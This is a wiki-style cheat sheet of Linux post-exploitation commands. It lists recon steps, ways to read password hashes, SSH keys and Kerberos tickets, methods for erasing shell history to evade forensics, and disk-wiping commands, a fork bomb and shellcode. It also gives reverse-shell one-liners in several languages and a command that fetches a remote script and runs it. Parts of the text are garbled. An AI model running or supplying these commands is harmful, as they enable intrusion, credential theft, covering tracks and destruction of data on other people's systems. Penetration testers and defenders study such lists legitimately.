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Linux Post Exploitation Command List
drak edited this page on Aug 29, 2013 · 3 revisions
Table of Contents
Pages 14
Collecting Information
Blind Files
Resources
System
Networking Google Docs
User accounts
Obtain user's information Clone this wiki locally
Credentials https://github.com/mubix/
Configs
Determine Distro
Installed Packages
Package Sources
Finding Important Files
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Covering Your Tracks
Avoiding history filesmys
Deleting and Destroying
Escalating
Looking for possible opened paths
Maintaining control
Reverse Shell
Execute a Remote Script
Fun if Windows is present and accessible
## Collecting Information ### Blind Files things to pull when all you can do is blindly read like in
LFI/dir traversal (Don’t forget %00!)
File Contents and Reason
Contains the current name servers (DNS) for the system. This is a
/etc/resolv.conf globally readable file that is less likely to trigger IDS alerts than
/etc/passwd
/etc/motd Message of the Day
/etc/issue current version of distro
/etc/passwd List of local users
/etc/shadow List of users’ passwords’ hashes (requires root)
/home/xxx/.bash_history Will give you some directory context
### System
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Command Description and/or Reason
uname -a Prints the kernel version, arch, sometimes distro
ps aux List all running processes
top -n 1 -d Print process, 1 is a number of lines
id Your current username, groups
arch, uname -m Kernel processor architecture
w who is connected, uptime and load avg
who -a uptime, runlevel, tty, proceses etc.
gcc -v Returns the version of GCC.
mysql --version Returns the version of MySQL.
perl -v Returns the version of Perl.
ruby -v Returns the version of Ruby.
python --version Returns the version of Python.
df -k mounted fs, size, % use, dev and mount point
mount mounted fs
last -a Last users logged on
lastcomm
lastlog
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Command Description and/or Reason
lastlogin (BSD)
getenforce Get the status of SELinux (Enforcing, Permissive or Disabled)
dmesg Informations from the last system boot
lspci prints all PCI buses and devices
lsusb prints all USB buses and devices
lscpu prints CPU information
lshw list hardware information
ex
cat /proc/cpuinfo
cat /proc/meminfo
du -h --max-depth=1 / note: can cause heavy disk i/o
which nmap locate a command (ie nmap or nc)
locate bin/nmap
locate bin/nc
jps -l
java -version Returns the version of Java.
### Networking
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Command Description and/or Reason
hostname -f
ip addr show
ip ro show
ifconfig -a
route -n
cat
/etc/network/interfaces
iptables -L -n -v
iptables -t nat -L -n -v
ip6tables -L -n -v
iptables-save
netstat -anop
netstat -r
netstat -nltupw root with raw sockets
arp -a
lsof -nPi
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Command Description and/or Reason
more discreet, all the information given by the above commands can
cat /proc/net/* be found by looking into the files under /proc/net, and this approach
is less likely to trigger monitoring or other stuff
### User Accounts
Command Description and/or Reason
cat /etc/passwd local accounts
cat /etc/shadow password hashes on Linux
/etc/security/passwd password hashes on AIX
cat /etc/group groups (or /etc/gshadow)
getent passwd should dump all local, LDAP, NIS, whatever the system is using
getent group same for groups
pdbedit -L -w Samba’s own database
pdbedit -L -v
cat /etc/aliases mail aliases
find /etc -name aliases
getent aliases
ypcat passwd displays NIS password file
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### Obtain user's information
ls -alh /home/*/
ls -alh /home/*/.ssh/
cat /home/*/.ssh/authorized_keys
cat /home/*/.ssh/known_hosts
cat /home/*/.hist # you can learn a lot from this
find /home//.vnc /home//.subversion -type f
grep ^ssh /home/*/.hist
grep ^telnet `/home/*/.hist
grep ^mysql /home/*/.hist
cat /home/*/.viminfo
sudo -l # if sudoers is not. readable, this sometimes works per user
crontab -l
cat /home/*/.mysql_history
sudo -p (allows the user to define what the password prompt will be, useful for fun
customization with aliases or shell scripts)
### Credentials
File/Folder Description and/or Reason
/home//.ssh/id SSH keys, often passwordless
/tmp/krb5cc_* Kerberos tickets
/tmp/krb5.keytab Kerberos tickets
/home/*/.gnupg/secring.gpgs PGP keys
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### Configs
ls -aRl /etc/ * awk '$1 ~ /w.$/' * grep -v lrwx 2>/dev/nullte
cat /etc/issue{,.net}
cat /etc/master.passwd
cat /etc/group
cat /etc/hosts
cat /etc/crontab
cat /etc/sysctl.conf
for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all
crons)
cat /etc/resolv.conf
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.confcda
cat /etc/inetd.conf
cat /opt/lampp/etc/httpd.conf
cat /etc/samba/smb.conf
cat /etc/openldap/ldap.conf
cat /etc/ldap/ldap.conf
cat /etc/exports
cat /etc/auto.master
cat /etc/auto_master
cat /etc/fstab
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find /etc/sysconfig/ -type f -exec cat {} ;
### Determine Distro
File Description and/or Reason
uname -a often hints at it pretty well
lsb_release -d Generic command for all LSB distros
/etc/os-release Generic for distros using “systemd”
/etc/issue Generic but often modified
cat /etc/*release
/etc/SUSE-release Novell SUSE
/etc/redhat-release, /etc/redhat_version Red Hat
/etc/fedora-release Fedora
/etc/slackware-release, /etc/slackware-version Slackware
/etc/debian_release, /etc/debian_version Debian
/etc/mandrake-release Mandrake
/etc/sun-release Sun JDS
/etc/release Solaris/Sparc
/etc/gentoo-release Gentoo
/etc/arch-release Arch Linux (file will be empty)
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File Description and/or Reason
arch OpenBSD; sample: “OpenBSD.amd64”
### Installed Packages
rpm -qa --last | head
yum list | grep installed
Debian
dpkg -l
dpkg -l | grep -i “linux-image”
dpkg --get-selections
{Free,Net}BSD: pkg_info
Solaris: pkginfo
Gentoo: cd /var/db/pkg/ && ls -d / # always works
Arch Linux: pacman -Q
### Package Sources
cat /etc/apt/sources.list
ls -l /etc/yum.repos.d/
cat /etc/yum.conf
### Finding Important Files
ls -dlR */
ls -alR | grep ^d
find /var -type d
ls -dl `find /var -type d`
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ls -dl `find /var -type d` | grep -v root
find /var ! -user root -type d -ls
find /var/log -type f -exec ls -la {} ;
find / -perm -4000 (find all suid files)
ls -alhtr /mnt
ls -alhtr /media
ls -alhtr /tmp
ls -alhtr /home
cd /home/; treels /home//.ssh/
find /home -type f -iname '.*history'
ls -lart /etc/rc.d/
locate tar | grep [.]tar$ # Remember to updatedb before running locate
locate tgz | grep [.]tgz$
locate sql | grep [.]sql$
locate settings | grep [.]php$
locate config.inc | grep [.]php$
ls /home//id
.properties | grep [.]properties # java config files
locate .xml | grep [.]xml # java/.net config files
find /sbin /usr/sbin /opt /lib `echo $PATH | ‘sed s/:/ /g’` -perm /6000 -ls # find suids
locate rhosts
Also, check http://incolumitas.com/wp-content/uploads/2012/12/blackhats_view.pdf for some one-
liners that find world writable directories/files and more.
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## Covering Your Tracks ### Avoiding history filesmys
export HISTFILE=
or
unset HISTFILE
This next one might not be a good idea, because a lot of folks know to check for tampering with
this file, and will be suspicious if they find out.
However if you happen to be on an account that was originally inaccessible, if the .bash_history file
is available (ls -a ~), viewcating its contents can provide you with a good deal of information about
the system and its most recent updates/changes.
clear all history in ram
history -c
rm -rf ~/.bash_history && ln -s ~/.bash_history /dev/null (invasive)
touch ~/.bash_history (invasive)
history -c (using a space before a command)
zsh% unset HISTFILE HISTSIZE
tcsh% set history=0
bash$ set +o history
ksh$ unset HISTFILE
find / -type f -exec {} (forensics nightmare)
Note that you’re probably better off modifying or temporary disabling rather than deleting history
files, it leaves a lot less traces and is less suspect.
In some cases HISTFILE and HISTFILESIZE are made read-only; get around this by explicitly
clearing history (history -c) or by kill -9 $$’ing the shell. Sometimes the shell can be configured to
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run ‘history -w’ after every command; get around this by overriding ‘history’ with a no-op shell
function. None of this will help if the shell is configured to log everything to syslog, however.
### Deleting and Destroying
If it is necessary to leave the machine inaccessible or unusable. Note that this tends to be
quite evident (as opposed to a simple exploitation that might go unnoticed for some time,
even forever), and will most surely get you into troubles.
Oh, and you’re probably a jerk if you use any of the stuff below.
File Description and/or Reason
rm -rf / This will recursively try to delete all files
Reformat the device mentioned, making recovery of files
mkfs.ext3 /dev/sda
hard
dd if=/dev/zero of=/dev/sda
Overwrite disk /dev/sda with zeros
bs=1M
Hex version of rm -rf / (How is this supposed to work?)
char esp[] __attribute__ ((section(”.text”))) /* e.s.p release */ =
“\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
“\x6e\x2f\x73\x68\x00\x2d\x63\x00"
“cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
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Fork Bomb: The [in]famous "fork bomb". This command will cause your system to run a large
number of processes, until it "hangs". This can often lead to data loss (e.g. if the user brutally
reboots, or the OOM killer kills a process with unsaved work). If left alone for enough time a
system can eventually recover from a fork bomb.
:(){:|:&};:
## Escalating ### Looking for possible opened paths * ls -alh /root/ * sudo -l * cat /etc/sudoers *
cat /etc/shadow * cat /etc/master.passwd # OpenBSD * cat /var/spool/cron/crontabs/* | cat
/var/spool/cron/* * lsof -nPi * ls /home/*/.ssh/* ## Maintaining control ### Reverse Shell Starting list
sourced from: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet * bash -i >&
/dev/tcp/10.0.0.1/8080 0>&1 (No /dev/tcp on older Debians, but use nc, socat, TCL, awk or any
interpreter like Python, and so on.). * perl -e 'use Socket; $i="10.0.0.1"; $p=1234;
socket(S,PF_INET, SOCK_STREAM, getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S"); open(STDOUT,">&S");
open(STDERR,">&S"); exec("/bin/sh -i");};' * python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("10.0.0.1",1234));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
* php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &3 2>&3");' * ruby -rsocket -
e'f=TCPSocket.open("10.0.0.1",1234).to_i; exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)' nc -e /bin/sh
10.0.0.1 1234 # note need -l on some versions, and many does NOT support -e anymore * rm
/tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f * xterm -display 10.0.0.1:1se
* Listener- Xnest :1 * Add permission to connect- xhost +victimIP * ssh -NR 3333:localhost:22
user@yourhost * nc -e /bin/sh 10.0.0.1 1234 ### Execute a Remote Script
wget http://server/file.sh -O- | sh
This command forces the download of a file and immediately its execution
### Fun if Windows is present and accessible If there is Windows installed and the logged-in user
access level includes those Windows partition, attacker can mount them up and do a much deeper
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information gathering, credential theft and root-ing. Ntfs-3g is useful for mounting ntfs partitions
read-write.
TODO: insert details on what to look for
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